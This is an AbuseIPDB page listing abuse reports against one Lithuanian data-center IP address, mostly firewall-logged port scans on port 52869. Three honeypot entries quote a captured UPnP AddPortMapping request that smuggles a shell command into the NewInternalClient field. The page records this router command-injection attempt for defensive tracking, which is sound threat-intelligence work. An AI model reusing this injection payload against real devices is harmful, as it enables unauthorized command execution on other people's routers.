JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 91.188.254.224

91.188.254.224 was found in our database!

This IP was reported 95 times. Confidence of Abuse is 100%: ?

100%

ISP	DEMA Com Ltd.
Usage Type	Data Center/Web Hosting/Transit
ASN	AS213772
Domain Name	demabg.com
Country	🇱🇹 Lithuania
City	Vilnius, Vilnius

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 91.188.254.224

Whois 91.188.254.224

IP Abuse Reports for 91.188.254.224:

This IP address has been reported a total of 95 times from 54 distinct sources. 91.188.254.224 was first reported on June 11th 2026, and the most recent report was 6 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇹 urnilxfgbez	2026-07-01 22:45:00 (6 days ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇲🇳 Public CSIRT/CC of Mongolia	2026-07-01 21:19:25 (6 days ago)	Honeypot hit: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client/1.1 Accept-En ... show more Honeypot hit: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client/1.1 Accept-Encoding: gzip POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf t`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [3] TCP show less	Web App Attack
🇫🇮 6kilowatti	2026-07-01 19:20:00 (1 week ago)	2026-07-01T22:19:59.859899+03:00 koti kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:bd:29:2d:18:f ... show more 2026-07-01T22:19:59.859899+03:00 koti kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:bd:29:2d:18:fd:74:70:71:9e:08:00 SRC=91.188.254.224 DST=10.0.0.30 LEN=40 TOS=0x00 PREC=0x00 TTL=241 ID=54321 PROTO=TCP SPT=37615 DPT=52869 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇦🇹 centurion	2026-07-01 19:04:01 (1 week ago)	Blocked by UFW on ns03 [52869/tcp] Source port: 38937 TTL: 243 Packet length: 40 TOS: 0x00 This rep ... show more Blocked by UFW on ns03 [52869/tcp] Source port: 38937 TTL: 243 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 MPL	2026-07-01 19:00:59 (1 week ago)	tcp/52869 (5 or more attempts)	Port Scan
🇨🇦 celestialcity	2026-07-01 18:51:59 (1 week ago)	Blocked by UFW on celestialcityna [52869/tcp] \| SPT: 44314 \| TTL: 235 \| LEN: 40 \| TOS: 0x00 • Report ... show more Blocked by UFW on celestialcityna [52869/tcp] \| SPT: 44314 \| TTL: 235 \| LEN: 40 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇮🇩 hermawan	2026-07-01 18:30:08 (1 week ago)	07/02/2026-01:30:03.506229 [Drop] [] [1:921373:1] Suricata Dibuat Gemini TCP SYN port scanner - W ... show more 07/02/2026-01:30:03.506229 [Drop] [] [1:921373:1] Suricata Dibuat Gemini TCP SYN port scanner - Win 65535 [**] [Classification: (null)] [Priority: 3] {TCP} 91.188.254.224:53562 -> 103.166.156.58:52869 ... show less	Email Spam Hacking
🇦🇺 LiftUp Hosting	2026-07-01 18:04:00 (1 week ago)	Honeypot hit: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client/1.1 Accept-En ... show more Honeypot hit: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client/1.1 Accept-Encoding: gzip POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf t`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [3] TCP show less	Hacking Bad Web Bot
🇫🇷 Petre 21_ip	2026-07-01 17:58:19 (1 week ago)	2026-07-01T19:58:18.343891+02:00 vmi2775508 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:50:56:5c:a7:cf:c ... show more 2026-07-01T19:58:18.343891+02:00 vmi2775508 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:50:56:5c:a7:cf:c0:69:11:b3:85:db:08:00 SRC=91.188.254.224 DST=155.133.26.57 LEN=40 TOS=0x00 PREC=0x00 TTL=243 ID=54321 PROTO=TCP SPT=42386 DPT=52869 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇷🇴 abuse_IP_reporter	2026-07-01 17:45:25 (1 week ago)	Jul 1 20:32:32 server UFW BLOCK SRC=91.188.254.224 PROTO=TCP SPT=46599 DPT=52869	Port Scan
🇬🇧 gbzret4d	2026-07-01 17:21:51 (1 week ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client/1.1 Accept-Encoding: gzip POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf t`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [3] TCP show less	Hacking Bad Web Bot
🇮🇹 Fusty	2026-07-01 17:21:32 (1 week ago)	Unauthorized attempt on (TCP on port 52869). Source port: 34329 TTL: 242 Packet length: 40 Timestamp ... show more Unauthorized attempt on (TCP on port 52869). Source port: 34329 TTL: 242 Packet length: 40 Timestamp: 2026-07-01 19:21:32 show less	Port Scan
🇺🇸 MPL	2026-07-01 17:18:17 (1 week ago)	tcp/52869 (3 or more attempts)	Port Scan
🇩🇪 SMi-Web	2026-07-01 17:04:37 (1 week ago)	Blocked by firewall on hugin [52869/tcp] \| Rule: Blocklist \| SPT: 35473 \| TTL: 244 \| LEN: 40 \| TOS: ... show more Blocked by firewall on hugin [52869/tcp] \| Rule: Blocklist \| SPT: 35473 \| TTL: 244 \| LEN: 40 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 ValtonTahiri	2026-07-01 17:04:11 (1 week ago)	UFW blocked a suspicious connection attempt to a closed or denied port. This activity is commonly as ... show more UFW blocked a suspicious connection attempt to a closed or denied port. This activity is commonly associated with port scanning, service discovery, or automated internet probing. Technical: source_ip=91.188.254.224; proto=TCP; source_port=50056; target_port=52869; flags=SYN show less	Port Scan

Showing 1 to 15 of 95 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇭 159.192.144.204

🇯🇵 156.227.235.77

🇺🇸 104.164.126.201

🇮🇩 103.193.145.156

🇳🇱 91.92.40.237

🇺🇸 66.132.186.239

🇮🇳 20.204.136.58

🇧🇷 160.238.26.174

🇰🇭 150.129.20.106

🇧🇩 144.79.133.252

🇰🇭 117.20.119.70

🇰🇪 102.0.25.130

🇷🇴 92.118.39.71

🇮🇹 78.134.49.171

🇭🇰 47.76.63.164

🇮🇳 14.139.176.197

🇨🇳 14.103.117.75

🇸🇨 196.251.121.27

🇳🇿 185.99.133.240

🇺🇸 172.253.194.150